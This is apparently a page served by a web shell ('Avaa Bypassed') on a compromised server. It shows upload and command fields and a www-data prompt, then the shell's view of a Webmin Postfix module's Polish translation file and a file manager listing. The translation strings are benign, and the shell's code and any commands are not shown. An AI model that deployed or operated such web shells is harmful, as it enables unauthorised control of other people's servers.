[ Avaa Bypassed ]




Upload:

Command:

www-data@18.117.246.69: ~ $
connect_emysql=Nie udało się załadować sterownika bazy danych $1
connect_elogin=Nie udało się zalogować do bazy danych $1:$2.

index_esuper=Komenda administratora Postfix $1 nie istnieje. Może Twoja <a href='$2'>konfiguracja modułu</a> jest nieprawidłowa.
index_reload=Załaduj ponownie konfigurację
index_reloadmsg=Kliknij ten przycisk, aby Postfix ponownie odczytał wszystkie swoje pliki konfiguracyjne. Może to być przydatne, jeśli pliki konfiguracyjne Postfix zostały ręcznie zmodyfikowane.

check_manual=Ręcznie edytuj plik konfiguracyjny Postfix.

aliases_type6=Zastosuj plik filtru $1

postfinger_ecannot=Nie wolno sprawdzać konfiguracji Postfix

mailclean_title=Wyczyść MailQueue
mailclean_ecannot=Brak uprawnień do czyszczenia MailQueues
mailclean_active=Kolejka aktywna
mailclean_incoming=Kolejka przychodząca
mailclean_deferred=Odroczona kolejka
mailclean_defer=Odroczona kolejka
mailclean_all=Wszystkie kolejki
mailclean_search=Szukana fraza

aform_type4=Kanał do programu

asave_eaddr=„$1” nie jest prawidłowym adresem
asave_ealready=Alias dla „$1” już istnieje
asave_etype1=„$1” nie jest prawidłowym adresem e-mail
asave_etype2=Plik adresów „$1” jest nieprawidłowy lub nie istnieje
asave_etype3=„$1” nie jest prawidłową nazwą pliku
asave_etype4=„$1” nie jest prawidłowym programem lub nie istnieje
asave_etype5=Plik odpowiedzi „$1” jest nieprawidłowy
asave_etype4none=Nie podano programu
asave_etype6=Plik filtru „$1” jest nieprawidłowy

afile_title=Edytuj plik adresu
afile_desc=Użyj pola tekstowego poniżej, aby edytować adresy w pliku $1.
afile_efile=Nie możesz edytować $1.
afile_ewrite=Nie udało się zapisać do pliku adresów : $1

ffile_title=Edytuj plik filtru
ffile_desc=Skorzystaj z poniższego formularza, aby skonfigurować reguły filtrów w pliku $1.
ffile_efile=Nie możesz edytować $1.
ffile_line=Jeśli w polu $1 $2 $3, przejdź do $4
ffile_other=W przeciwnym razie przejdź do $1
ffile_err=Nie udało się zapisać pliku filtru
ffile_ematch=Brakujący mecz
ffile_eaction=Brak adresu do przekazania

rfile_title=Edytuj plik odpowiedzi automatycznej
rfile_desc=Użyj pola tekstowego poniżej, aby edytować wiadomość z automatyczną odpowiedzią w $1. Wiadomość może zawierać makra $SUBJECT, $FROM, $TO, $DATE i $BODY, które zostaną rozwinięte po aktywowaniu odpowiedzi automatycznej.
rfile_desc2=Możesz także ustawić nagłówki wiadomości, które dodają lub zastępują wartości domyślne używane w odpowiedzi automatycznej, wstawiając wiersze takie jak: <br><tt> Od: foo@bar.com </tt><br> <tt>Temat: W wakacje</tt> <br> u góry wiadomości, oddzielone od treści pojedynczym pustym wierszem.
rfile_efile=Nie możesz edytować $1.
rfile_undo=Cofnij zmiany
rfile_replies=Śledzić odpowiedzi, aby uniknąć pętli poczty?
rfile_none=Nie
rfile_file=Tak, używając pliku dziennika
rfile_period=Minimalny odstęp między odpowiedziami
rfile_default=Domyślnie (1 godzina)
rfile_secs=sekundy
rfile_ereplies=Brak pliku dziennika śledzenia odpowiedzi
rfile_eperiod=Brakująca lub niepoprawna liczba sekund między odpowiedziami
rfile_no_autoreply=Nie wysyłaj odpowiedzi automatycznych na adres
rfile_from=Od: adres do odpowiedzi
rfile_auto=Automatyczny (na podstawie adresu odbiorcy)
rfile_efrom=Brakuje od: adres
rfile_fromdesc=Adres Od: należy zawsze podawać w miarę możliwości, ponieważ metoda automatyczna może nie być wiarygodna.

opts_nomap=Nie ustawiono mapy
opts_setmap=Specyfikacje map
opts_notify_classes_sel=Wybrane poniżej

opts_edir=Możesz określić pliki map tylko w $1

opts_mailbox_size_limit=Maksymalny rozmiar skrzynki pocztowej

opts_mynetworks_subnet=Ta sama podsieć IP
opts_mynetworks_class=Ta sama klasa sieci
opts_mynetworks_host=Tylko komputer lokalny

opts_relay_recipient_maps=Mapa dozwolonych adresów do przekazywania
smtpd_nomap=Nie wprowadzono jeszcze mapy dozwolonych adresów do przekazywania.
smtpd_nomap2=Nie wprowadzono jeszcze mapy ograniczeń adresów nadawców.
smtpd_map=Dozwolone adresy do przekazywania
smtpd_map2=Ograniczenia adresów nadawców

opts_smtp_use_tls=Użyj TLS do połączeń SMTP
opts_smtp_sasl_security_options=Opcje bezpieczeństwa SASL
opts_smtp_tls_security_level=Poziom bezpieczeństwa klienta SMTP TLS

opts_edebug=Brakujący lub nieprawidłowy poziom rejestrowania pełnego - musi być liczbą większą od zera

canonical_return_sender=mapy kanoniczne nadawcy
canonical_return_recipient=odbiorca map kanonicznych
canonical_return=mapy kanoniczne

mapping_delete=Usuń wybrane
mapping_cmt=Opis
mapping_ecannot=Możesz edytować mapy tylko w $1
new_manual=Edytuj mapę ręcznie
new_manualmsg=Kliknij ten przycisk, aby ręcznie edytować pliki, z których zbudowana jest mapa.
map_noname=Brakująca lub niepoprawna nazwa odwzorowania
map_cannot=Tej mapy nie można edytować : $1
map_unknown=Webmin nie obsługuje typu mapy $1
mapping_none=Nie zdefiniowano jeszcze odwzorowań tego typu.
mapping_toomany=Istnieje $1 wpisy mapy, które przekraczają limit wyświetlania $2.
mapping_find=Pokaż pasujące odwzorowania:
mapping_search=Szukaj
mapping_match=Zamapuj wpisy plików pasujące do <tt>$1</tt> ..

opts_virtual_alias_maps=Tabele wyszukiwania odwzorowań domen
opts_virtual_alias_domains=Domeny do wykonania mapowania wirtualnego
virtual_same=Z tabel mapowania domen

transport_return=mapy transportowe

sni_title=Mapowanie certyfikatów
sni_ecannot=Nie możesz edytować konfiguracji mapowania certyfikatów
opts_sni_maps=Tabele odnośników mapowania certyfikatów
sni_return=mapy certyfikatów
sni_dom=Nazwa hosta
sni_certs=Pliki certyfikatów

relocated_return=przeniesione mapy

start_efailed=Nie udało się uruchomić Postfix
start_ecannot=Nie możesz uruchomić Postfix

acl_sni=Czy można edytować certyfikaty?
acl_sasl=Czy można edytować uwierzytelnianie SMTP?
acl_client=Czy można edytować ograniczenia klienta SMTP?
acl_master=Czy można edytować procesy serwera?
acl_startstop=Czy można uruchomić i zatrzymać postfiks?
acl_mailq=Czy można zarządzać kolejką pocztową?
acl_postfinger=Czy mogę sprawdzić konfigurację Postfiksa?
acl_manual=Czy mogę edytować plik konfiguracyjny?
acl_dir=Dozwolony katalog dla plików map

boxes_sent=Wysłany mail
boxes_ecannot=Nie możesz czytać wiadomości e-mail
boxes_toomany=W systemie jest zbyt wielu użytkowników, aby wyświetlić wszystkie ich skrzynki pocztowe.
boxes_go=Wyświetl pocztę dla użytkownika:

mail_title=E-mail użytkownika
mail_from=Od
mail_date=Data
mail_subject=Przedmiot
mail_to=Do
mail_cc=DW
mail_bcc=UDW
mail_pri=Priorytet
mail_highest=Najwyższy
mail_high=Wysoki
mail_normal=Normalna
mail_low=Niska
mail_lowest=Najniższy
mail_for=W $1
mail_for2=Dla użytkownika $1
mail_sent=Na liście wysłanych wiadomości
mail_size=Rozmiar
mail_delete=Usunąć
mail_compose=Komponować
mail_return=skrzynka użytkownika
mail_pos=Wiadomości $1 na $2 z $3
mail_none=Ta skrzynka pocztowa nie zawiera wiadomości
mail_ecannot=Nie możesz czytać wiadomości e-mail tego użytkownika
mail_all=Zaznacz wszystko
mail_invert=Odwróć wybór
mail_search=Znajdź wiadomości gdzie
mail_body=Ciało
mail_match=mecze
mail_ok=Szukaj
mail_nonefrom=Żaden
mail_mark=Oznacz jako:
mail_mark0=nieprzeczytane
mail_mark1=Czytać
mail_mark2=Specjalny
mail_forward=Naprzód
mail_rfc=Z linii
mail_move=Przenieś do:
mail_eexists=Wiadomość już nie istnieje!

view_title=Czytaj email
view_desc=Wiadomość $1 w $2
view_desc2=Wiadomość $1 dla użytkownika $2
view_desc3=Wiadomość $1
view_sent=Wiadomość $1 na liście wysłanych wiadomości
view_qdesc=Wiadomość w kolejce $1
view_headers=Nagłówki wiadomości
view_allheaders=Zobacz wszystkie nagłówki
view_noheaders=Wyświetl podstawowe nagłówki
view_attach=Załączniki
view_reply=Odpowiadać
view_reply2=Odpowiedz wszystkim
view_enew=Edytuj jako nowy
view_forward=Naprzód
view_delete=Usunąć
view_flush=Spłukać
view_strip=Usuń załączniki
view_ecannot=Nie możesz czytać wiadomości e-mail tego użytkownika
view_mark=Oznacz wiadomość jako:
view_mark0=nieprzeczytane
view_mark1=Czytać
view_mark2=Specjalny
view_return=oryginalny e-mail
view_sub=Dołączony e-mail
view_body=Wiadomość tekstowa
view_afile=Nazwa załącznika
view_atype=Typ załącznika
view_aname=Załącznik
view_asize=Rozmiar pliku

compose_title=Komponować wiadomość e-mail
reply_title=Odpowiedz na e-mail
enew_title=Edytuj adres e-mail
reply_headers=Nagłówki wiadomości
reply_attach=Przekazane załączniki
reply_mailforward=Przekazywane wiadomości
reply_attach2=Załączniki po stronie klienta i serwera
reply_send=Wyślij maila
reply_ecannot=Nie możesz wysyłać poczty jako ten użytkownik

send_err=Nie udało się wysłać poczty
send_eto=Brak adresu
send_efrom=Brak adresu od
send_title=Mail wysłany
send_ok=Wiadomość wysłano pomyślnie do $1
send_ecannot=Nie możesz wysyłać poczty jako ten użytkownik
send_esmtp=Komenda SMTP $1 nie powiodła się : $2
send_efile=Załączony plik $1 nie istnieje
send_eattach=Załączniki nie mogą w sumie przekraczać wielkości $1 kB.
send_eperms=Użytkownik $1 nie może odczytać $2
send_eperms2=Nie możesz wysłać pliku $1
send_epath=Plik wykonywalny Sendmail $1 nie istnieje.
send_ewrapper=Program interfejsu Postfix sendmail nie istnieje

search_title=Wyniki wyszukiwania
search_ecannot=Nie możesz przeszukiwać wiadomości e-mail tego użytkownika
search_ematch=Musisz wpisać tekst, aby dopasować.
search_efield=Musisz wybrać typ wyszukiwania.
search_none=Nie znaleziono wiadomości.
search_results2=$1 wiadomości e-mail pasujące $2 ..
search_results3=$1 wiadomości e-mail niepasujące $2 ..

match_from=Od: mecze
match_subject=Temat: mecze
match_to=Do: mecze
match_cc=DW: dopasowania
match_date=Data: mecze
match_body=Dopasowane ciała
match_size=Rozmiar jest większy niż
match_headers=Nagłówki pasują
match_=-----------------
match_!from=Od: nie pasuje
match_!subject=Temat: nie pasuje
match_!to=Do: nie pasuje
match_!cc=DW: nie pasuje
match_!date=Data: nie pasuje
match_!body=Ciało nie pasuje
match_!size=Rozmiar jest mniejszy niż
match_!headers=Nagłówki się nie zgadzają

mailq_title=Kolejka pocztowa
mailq_count=$1 wiadomości
mailq_none=Żadne wiadomości e-mail nie są obecnie w kolejce do dostarczenia
mailq_id=Identyfikator poczty
mailq_date=Wysłano
mailq_from=Od
mailq_to=Do
mailq_cc=DW
mailq_subject=Przedmiot
mailq_return=kolejka pocztowa
mailq_delete=Usuń wybrane wiadomości
mailq_size=Rozmiar
mailq_ecannot=Nie możesz przeglądać kolejki pocztowej
mailq_egone=Wiadomość nie jest już w kolejce
mailq_status=Status
mailq_flush=Opróżnij kolejkę poczty
mailq_flushdesc=Kliknij ten przycisk, aby wymusić natychmiastowe dostarczenie wszystkich wiadomości w kolejce i wyświetlić wyniki.
mailq_refresh=Odśwież kolejkę poczty
mailq_refreshdesc=Załaduj ponownie tę stronę, aby wyświetlić bieżący stan kolejki pocztowej.
mailq_deleteall=Wyczyść kolejkę poczty
mailq_deletealldesc=Kliknij ten przycisk, aby usunąć wszystkie wiadomości z kolejki pocztowej.
mailq_search=Znajdź w kolejce wiadomości gdzie
mailq_move=Requeue Selected
mailq_incoming=Przychodzący
mailq_active=Aktywny
mailq_deferred=Odroczony
mailq_hold=Przytrzymaj wybrane
mailq_unhold=Un-Hold Selected

flushq_title=Kolejka do spłukiwania
flushq_desc=Wymuszanie próby dostarczenia poczty za pomocą polecenia $1 ..

qview_title=Wiadomość w kolejce
qview_attach=Załączniki

searchq_title=Wyniki wyszukiwania w kolejce
searchq_none=Nie znaleziono wiadomości w kolejce.

header_ecannot=Nie możesz edytować kontroli nagłówków
header_eregexp=Mapa kontroli nagłówków musi mieć format <tt>regexp:</tt> <i>nazwa_pliku</i>
opts_header_checks=Tabele sprawdzania nagłówków MIME
header_value=Akcja dla meczów
header_discard=Odrzuć (z komunikatem dziennika...)
header_hold=Umieść w kolejce wstrzymania (z komunikatem dziennika...)
header_prepend=Dodaj tekst. ..
header_redirect=Przekieruj na adres ..
header_replace=Zamień na tekst ..
header_reject=Odrzuć (z komunikatem o błędzie..)
header_warn=Ostrzeżenie dziennika (z komunikatem..)
header_ename=Nieprawidłowe wyrażenie regularne - musi być jak / coś /
header_return=kontrole nagłówków

body_title=Kontrole ciała
body_ecannot=Nie możesz edytować kontroli ciała
body_eregexp=Mapa kontroli treści musi mieć format <tt>regexp:</tt> <i>nazwa_pliku</i>
opts_body_checks=Tabele sprawdzające treść wiadomości
body_return=kontrole ciała

dependent_title=Mapowanie transportu zależne od nadawcy
dependent_ecannot=Nie możesz edytować map transportowych zależnych od nadawcy
dependent_eregexp=Mapa transportów zależna od nadawcy musi mieć format <tt>regexp:</tt> <i>nazwa_pliku</i>
dependent_return=mapowania transportu zależne od nadawcy

manual_title=Edytuj plik mapy
manual_file=Wybierz plik mapy do edycji:
manual_change=Zmiana
manual_editing=Użyj pola tekstowego poniżej, aby ręcznie edytować mapowania w $1. Bądź ostrożny, ponieważ nie zostanie wykonane sprawdzanie składni ani poprawności.
manual_err=Nie udało się zapisać pliku mapy
manual_efile=Nieprawidłowa nazwa pliku mapy!
manual_ecannot=Nie możesz ręcznie edytować plików map

delq_rusure=Czy na pewno chcesz usunąć wybrane w kolejce wiadomości $1?

master_enabled=Włączony?
master_type=Rodzaj transportu
master_unpriv=Nieuprzywilejowany?
master_chroot=Chrootowany?
master_unix=Gniazdo Unix
master_fifo=Nazwana rura
master_add=Dodaj nowy proces serwera.
master_ecannot=Nie możesz edytować procesów serwera
master_edit=Edytuj proces serwera
master_create=Utwórz proces serwera
master_header=Szczegóły procesu serwera Postfix
master_host=Słuchaj na adresie hosta
master_any=Dowolny adres
master_private2=System prywatny do poczty?
master_unpriv2=Uruchomić jako użytkownik Postfix?
master_chroot2=Chroot do katalogu kolejek pocztowych?
master_defyes=Domyślnie (Tak)
master_command=Przetwarzaj polecenie
master_wakeup=Automatycznie proces budzenia?
master_wtime=Po $1 sekund
master_wused=Tylko jeśli faktycznie jest używany
master_procs=Co najwyżej $1
master_egone=Proces serwera już nie istnieje!
master_eclash=Proces serwera o tej samej nazwie i typie transportu już istnieje
master_err=Nie udało się zapisać procesu serwera
master_ename=Brakująca lub nieprawidłowa nazwa lub port serwera
master_ehost=Niepoprawny adres hosta do nasłuchiwania
master_einet=Adres hosta, na którym należy nasłuchiwać, można określić tylko dla procesów internetowych
master_ecommand=Brak polecenia procesu serwera
master_ewakeup=Brakujący lub nieprawidłowy czas budzenia
master_emaxprocs=Brakująca lub nieprawidłowa maksymalna liczba procesów

delete_err=Nie udało się usunąć mapowań

cmanual_efile=Wybrany plik nie jest częścią konfiguracji Postfix
cmanual_err=Nie udało się zapisać pliku konfiguracyjnego

access_return=tabela map dostępu
opts_reject_rbl_client=Wyszukiwanie czarnych list w czasie rzeczywistym (RBL)
opts_check_sender_access=Sprawdź tabelę map dostępu do nadawcy

log_misc=Zmieniono opcje ogólne
log_opts=Zmieniono przepisywanie i maskowanie adresów
log_canonical=Zmiana kanonicznych opcji mapowania
log_virtual=Zmieniono opcje domeny wirtualnej
log_transport=Zmieniono opcje mapowania transportu
log_sni=Zmień opcje mapowania certyfikatów
log_dependent=Zmieniono opcje adresu zależne od nadawcy
log_relocated=Zmieniono opcje mapowania lokalizacji
log_header=Zmieniono opcje sprawdzania nagłówka
log_debug=Zmieniono funkcje debugowania
log_ldap=Zmieniono wyszukiwanie LDAP
log_local=Zmieniono dostawę lokalną
log_rate=Zmieniono stawki dostawy
log_resource=Zmieniono ogólną kontrolę zasobów
log_smtp=Zmieniono opcje klienta SMTP
log_smtpd=Zmieniono opcje serwera SMTP
log_delete_aliases=Usunięte aliasy $1
log_virtual_alias_maps_create=Utworzono domenę wirtualną $1
log_virtual_alias_maps_modify=Zmodyfikowana domena wirtualna $1
log_virtual_alias_maps_delete=Usunięto domenę wirtualną $1
log_delete_virtual_alias_mapss=Usunięte domeny wirtualne $1
log_manual_virtual_alias_mapss=Ręcznie edytowane domeny wirtualne w $1
log_virtual_maps_create=Utworzono domenę wirtualną $1
log_virtual_maps_modify=Zmodyfikowana domena wirtualna $1
log_virtual_maps_delete=Usunięto domenę wirtualną $1
log_delete_virtual_mapss=Usunięte domeny wirtualne $1
log_manual_virtual_mapss=Ręcznie edytowane domeny wirtualne w $1
log_canonical_maps_create=Utworzono kanoniczne odwzorowanie $1
log_canonical_maps_modify=Zmodyfikowane odwzorowanie kanoniczne $1
log_canonical_maps_delete=Usunięto mapowanie kanoniczne $1
log_delete_canonical_mapss=Usunięto <kanoniczne mapowania $1
log_manual_canonical_mapss=Ręcznie edytowane odwzorowania kanoniczne w $1
log_recipient_canonical_maps_create=Utworzono kanoniczne mapowanie adresata $1
log_recipient_canonical_maps_modify=Zmodyfikowane kanoniczne mapowanie adresata $1
log_recipient_canonical_maps_delete=Usunięto kanoniczne mapowanie adresata $1
log_delete_recipient_canonical_mapss=Usunięto kanoniczne mapowania odbiorcy $1
log_manual_recipient_canonical_mapss=Ręcznie edytowane odwzorowania kanoniczne adresatów w $1
log_sender_canonical_maps_create=Utworzono kanoniczne mapowanie nadawcy $1
log_sender_canonical_maps_modify=Zmodyfikowane kanoniczne mapowanie nadawcy $1
log_sender_canonical_maps_delete=Usunięto kanoniczne mapowanie nadawcy $1
log_delete_sender_canonical_mapss=Usunięto kanoniczne odwzorowania $1 nadawcy
log_manual_sender_canonical_mapss=Ręcznie edytowane mapowania kanoniczne nadawcy w $1
log_transport_maps_create=Utworzono mapowanie transportu $1
log_transport_maps_modify=Zmodyfikowane mapowanie transportu $1
log_transport_maps_delete=Usunięto mapowanie transportu $1
log_delete_transport_mapss=Usunięto mapowania transportu $1
log_manual_transport_mapss=Ręcznie edytowane mapowania transportu w $1
log_relocated_maps_create=Utworzono przeniesione mapowanie $1
log_relocated_maps_modify=Zmodyfikowane przeniesione mapowanie $1
log_relocated_maps_delete=Usunięto przeniesione mapowanie $1
log_delete_relocated_mapss=Usunięte $1 przeniesione mapowania
log_manual_relocated_mapss=Ręcznie edytowane przeniesione odwzorowania w $1
log_header_checks_create=Utworzono sprawdzenie nagłówka $1
log_header_checks_modify=Zmodyfikowane sprawdzenie nagłówka $1
log_header_checks_delete=Usunięto sprawdzenie nagłówka $1
log_delete_header_checkss=Usunięto kontrole nagłówka $1
log_manual_header_checkss=Ręcznie edytowane sprawdzenie nagłówków w $1
log_body_checks_create=Utworzono kontrolę treści $1
log_body_checks_modify=Zmodyfikowano sprawdzenie treści $1
log_body_checks_delete=Usunięto kontrolę treści $1
log_delete_body_checkss=Usunięto kontrole treści $1
log_manual_body_checkss=Ręcznie edytowane kontrole treści w $1
log_master_create=Utworzono proces serwera $1
log_master_modify=Zmodyfikowany proces serwera $1
log_master_delete=Usunięto proces serwera $1
log_manual=Ręcznie edytowany plik konfiguracyjny $1
log_stop=Zatrzymano serwer Postfix
log_start=Uruchomiono serwer Postfix
log_reload=Ponownie załadowano konfigurację Postfix
log_delqs=Usunięto wiadomości $1 z kolejki pocztowej
log_flushq=Opróżniona kolejka pocztowa
log_sasl=Zmieniono uwierzytelnianie i szyfrowanie SMTP
log_client=Zmieniono ograniczenia klienta SMTP
log_sender_dependent_default_transport_maps_create=Utworzono adres zależny od nadawcy $1
log_sender_dependent_default_transport_maps_modify=Zmodyfikowany adres zależny od nadawcy $1
log_sender_dependent_default_transport_maps_delete=Usunięto adres zależny od nadawcy $1
log_delete_sender_dependent_default_transport_mapss=Usunięte $1 adresy zależne od nadawcy
log_manual_sender_dependent_default_transport_mapss=Ręcznie edytowane adresy zależne od nadawcy w $1

sasl_title=Uwierzytelnianie i szyfrowanie SMTP
opts_smtp_sasl_auth_enable=Używać uwierzytelnienia SASL SMTP?
opts_smtpd_tls_auth_only=Zezwolić na uwierzytelnianie SASL przez niebezpieczne połączenia?
opts_broken_sasl_auth_clients=Obsługiwać niezgodnych klientów SMTP?
sasl_opts=Opcje bezpieczeństwa SMTP
sasl_noanonymous=Odrzuć anonimowe loginy
sasl_noplaintext=Odrzuć loginy w postaci zwykłego tekstu
opts_smtpd_delay_reject=Opóźniasz klientów, których logowanie się nie powiodło?
sasl_recip=Ograniczenia odbiorców SMTP
sasl_relay=Ograniczenia przekaźnika SMTP
sasl_permit_mynetworks=Zezwalaj na połączenia z tej samej sieci
sasl_permit_sasl_authenticated=Zezwalaj uwierzytelnionym klientom
sasl_reject_unauth_destination=Odrzuć e-mail do innych domen
sasl_permit_inet_interfaces=Zezwalaj na połączenia z tego systemu
sasl_reject_unknown_reverse_client_hostname=Odrzuć klientów bez odwrotnej nazwy hosta
sasl_reject_unknown_client=Odrzuć klientów bez odwrotnej nazwy hosta
sasl_check_relay_domains=Zezwalaj tylko na domeny przekazywania
sasl_permit_mx_backup=Zezwalaj na domeny, dla których ten system jest zapasowym MX
sasl_permit_tls_all_clientcerts=Zezwalaj klientom TLS na dowolny certyfikat
sasl_reject_unauth_pipelining=Odrzuć wczesne polecenia SMTP
sasl_check_client_access=Sprawdź mapę dostępu klienta :
sasl_reject_rbl_client=Odrzuć, jeśli adres IP klienta znajduje się w RBL :
sasl_reject_rhsbl_client=Odrzuć, jeśli nazwa hosta klienta jest w RBL :
opts_smtpd_tls_CAfile=Plik urzędu certyfikacji TLS
opts_smtp_enforce_tls=Wymagać szyfrowania TLS?
sasl_err=Nie udało się zapisać uwierzytelnienia i szyfrowania SMTP
sasl_ecert=Brakujący lub nieprawidłowy plik certyfikatu TLS
sasl_ekey=Brakujący lub nieprawidłowy plik klucza TLS
sasl_eca=Brakujący lub nieprawidłowy plik urzędu certyfikacji TLS
sasl_level_none=Nigdy
sasl_level_may=Na życzenie klienta
sasl_level_encrypt=Zawsze
sasl_level_dane=Opportunistic DANE TLS
sasl_level_dane_only=Obowiązkowe DANE TLS
sasl_level_fingerprint=Weryfikacja odcisku palca certyfikatu
sasl_level_verify=Obowiązkowa weryfikacja TLS
sasl_level_secure=Bezpieczny kanał TLS
sasl_login=Logowanie SMTP do hosta poczty wychodzącej
sasl_nologin=Nie potrzebne
sasl_userpass=Zaloguj się jako $1 za pomocą hasła $2
sasl_elogin=Brakujące lub nieprawidłowe logowanie SMTP (bez spacji i dwukropków)
sasl_epass=Nieprawidłowe hasło SMTP (bez spacji)

client_ecannot=Nie możesz edytować ograniczeń klienta SMTP
client_other=Inne ograniczenia :
client_err=Nie udało się zapisać ograniczeń klienta
client_evalue=Brak wartości ograniczenia $1

chooser_title=Wybierz źródło mapy
chooser_header=Źródło mapy $1
chooser_none=Żaden
chooser_hash=Plik mapowania
chooser_regexp=Plik Regexps
chooser_pcre=Plik wyrażeń regularnych w stylu Perla
chooser_other=Inne źródło
chooser_mysql=Baza danych MySQL
chooser_mysqlsrc=Źródło MySQL
chooser_mhosts=Hosty serwerów MySQL
chooser_muser=Logowanie do bazy danych
chooser_mpassword=Hasło bazy danych
chooser_mdbname=Nazwa bazy danych
chooser_mtable=Tabela zawierająca mapę
chooser_mselect_field=Pole wartości
chooser_mwhere_field=Kluczowe pole
chooser_madditional_conditions=SQL dla klauzuli <tt>where</tt>
chooser_err=Nie udało się zapisać źródła mapy
chooser_ehash=Brakująca lub nieprawidłowa nazwa pliku mapowania dla mapy $1
chooser_eregexp=Brakująca lub niepoprawna nazwa pliku wyrażeń regularnych dla mapy $1
chooser_epcre=Brakująca lub niepoprawna nazwa pliku wyrażeń regularnych zgodnych z Perlem dla mapy $1
chooser_eother=Brakujące lub nieprawidłowe inne źródło mapy $1
chooser_enone=Nie wprowadzono
chooser_emhosts=Brak hostów serwera MySQL dla mapy $1
chooser_emuser=Brakujący lub nieprawidłowy login bazy danych dla mapy $1
chooser_empassword=Brakujące lub nieprawidłowe hasło do bazy danych dla mapy $1
chooser_emdbname=Brakująca lub niepoprawna nazwa tabeli dla mapy $1
chooser_emselect_field=Brakujące lub nieprawidłowe pole wartości dla mapy $1
chooser_emwhere_field=Brakujące lub nieprawidłowe pole klucza dla mapy $1
chooser_emadditional=Brak dodatkowych warunków SQL dla mapy $1
chooser_mquery=Niestandardowe zapytanie dotyczące mapy
chooser_emquery=Brak niestandardowego zapytania dla mapy
chooser_lserver_host=Hosty serwerów LDAP
chooser_lserver_port=Port LDAP
chooser_lstart_tls=Używać szyfrowania TLS?
chooser_lsearch_base=Podstawowa nazwa DN wyszukiwania LDAP
chooser_lquery_filter=Filtr zapytań
chooser_lresult_attribute=Atrybut wyniku
chooser_lscope=Zakres wyszukiwania
chooser_lsub=Całe poddrzewo
chooser_lone=Jeden poziom
chooser_lbase=Tylko baza
chooser_lbind=Zaloguj się do serwera LDAP?
chooser_lbind_dn=Logowanie do serwera
chooser_lbind_pw=Hasło serwera
chooser_ldap=Serwer LDAP
chooser_lfilter=Inny filtr
chooser_lattribute=Inny atrybut
chooser_elserver_host=Brak hostów serwera LDAP dla mapy $1
chooser_elserver_port=Brakujący lub nieprawidłowy port serwera LDAP dla mapy $1
chooser_elsearch_base=Brak bazy wyszukiwania LDAP dla mapy $1
chooser_elquery_filter=Brak filtru zapytań dla mapy $1
chooser_elresult_attribute=Brak lub niepoprawna nazwa atrybutu wyniku dla mapy $1
chooser_elbind_dn=Brak logowania do serwera LDAP dla mapy $1
chooser_elbind_pw=Brakuje hasła do serwera LDAP dla mapy $1

mysql_ecfile=Plik konfiguracyjny MySQL $1 nie został znaleziony
mysql_ecfile2=Nie można znaleźć tabeli w pliku konfiguracyjnym MySQL $1
mysql_edriver=Nie udało się załadować sterownika bazy danych $1
mysql_elogin=Nie udało się zalogować do bazy danych $1:$2.
mysql_equery=Nie można wykonać zapytania do tabeli $1 : $2 
mysql_eadd=Wstawianie SQL nie powiodło się : $1
mysql_edelete=Usunięcie SQL nie powiodło się : $1
mysql_eupdate=Aktualizacja SQL nie powiodła się : $1
mysql_elist=Zapytanie SQL nie powiodło się : $1
mysql_esource=Nie znaleziono źródła MySQL o nazwie $1
mysql_eneed=Nie znaleziono parametru konfiguracyjnego MySQL $1. Webmin potrzebuje tego, aby dowiedzieć się, do której tabeli i pól należy wysłać zapytanie.

ldap_ecfile=Plik konfiguracyjny LDAP $1 nie został znaleziony
ldap_eldapmod=Moduł Perla $1 potrzebny do komunikacji z LDAP nie jest zainstalowany lub nie można go załadować
ldap_eldap=Nie można połączyć się z serwerem LDAP $1 na porcie $2
ldap_eldaplogin=Logowanie do serwera LDAP $1 nie powiodło się jako $2 : $3 
ldap_ebase=Podstawowa nazwa wyróżniająca LDAP $1 jest niepoprawna : $2
ldap_eadd=Nie powiodło się dodanie LDAP $1 : $2 
ldap_edelete=Usunięcie LDAP $1 nie powiodło się : $2
ldap_equery=Wyszukiwanie LDAP $1 nie powiodło się : $2
ldap_erename=Zmiana nazwy LDAP na $1 na $2 nie powiodła się : $3
ldap_emodify=Modyfikacja LDAP $1 nie powiodła się : $2

opts_sender_bcc_maps=Tablice wyszukiwania odwzorowań BCC nadawcy
opts_recipient_bcc_maps=Odbiorcze tabele wyszukiwania odwzorowań BCC
bcc_sender=Odwzorowania nadawców
bcc_recipient=Odwzorowania odbiorców
bcc_senderdesc=Odwzorowania BCC nadawcy definiują dodatkowy adres e-mail, na który będą wysyłane <b>z</b> adresów lub domen wymienionych na liście BCCd.
bcc_recipientdesc=Odwzorowania BCC adresata definiują dodatkowy adres e-mail, na który będą wysyłane <b>na</b> adresy lub domeny wymienione na BCCd.

Filemanager

Name Type Size Permission Actions
af.auto File 43.71 KB 0644
ar.auto File 53.35 KB 0644
be.auto File 69.22 KB 0644
bg File 70.71 KB 0644
bg.auto File 1.82 KB 0644
ca File 46.85 KB 0644
ca.auto File 898 B 0644
cs File 20.6 KB 0644
cs.auto File 25.78 KB 0644
da.auto File 43.66 KB 0644
de File 41.45 KB 0644
de.auto File 4.04 KB 0644
el.auto File 76.17 KB 0644
en File 40.98 KB 0644
es File 16.96 KB 0644
es.auto File 30.89 KB 0644
eu.auto File 44.57 KB 0644
fa.auto File 56.04 KB 0644
fi.auto File 45.81 KB 0644
fr File 19.77 KB 0644
fr.auto File 29.24 KB 0644
he.auto File 49.57 KB 0644
hr.auto File 45.57 KB 0644
hu File 38.28 KB 0644
hu.auto File 2.97 KB 0644
it.auto File 46.86 KB 0644
ja File 42.43 KB 0644
ja.auto File 6.51 KB 0644
ko File 15.88 KB 0644
ko.auto File 31.14 KB 0644
lt.auto File 47.6 KB 0644
lv.auto File 46.18 KB 0644
ms.auto File 43.4 KB 0644
mt.auto File 46.45 KB 0644
nl File 41.96 KB 0644
nl.auto File 2.72 KB 0644
no File 43.91 KB 0644
no.auto File 81 B 0644
pl File 20.48 KB 0644
pl.auto File 26.49 KB 0644
pt.auto File 47.28 KB 0644
pt_BR File 19.21 KB 0644
pt_BR.auto File 25.69 KB 0644
ro.auto File 47.05 KB 0644
ru File 31.06 KB 0644
ru.auto File 39.32 KB 0644
sk.auto File 46.28 KB 0644
sl.auto File 45.03 KB 0644
sv File 14.47 KB 0644
sv.auto File 29.44 KB 0644
th.auto File 84.08 KB 0644
tr.auto File 46.5 KB 0644
uk File 31.17 KB 0644
uk.auto File 38.01 KB 0644
ur.auto File 58.03 KB 0644
vi.auto File 52.69 KB 0644
zh File 12.34 KB 0644
zh.auto File 25.96 KB 0644
zh_TW File 17.26 KB 0644
zh_TW.auto File 21.49 KB 0644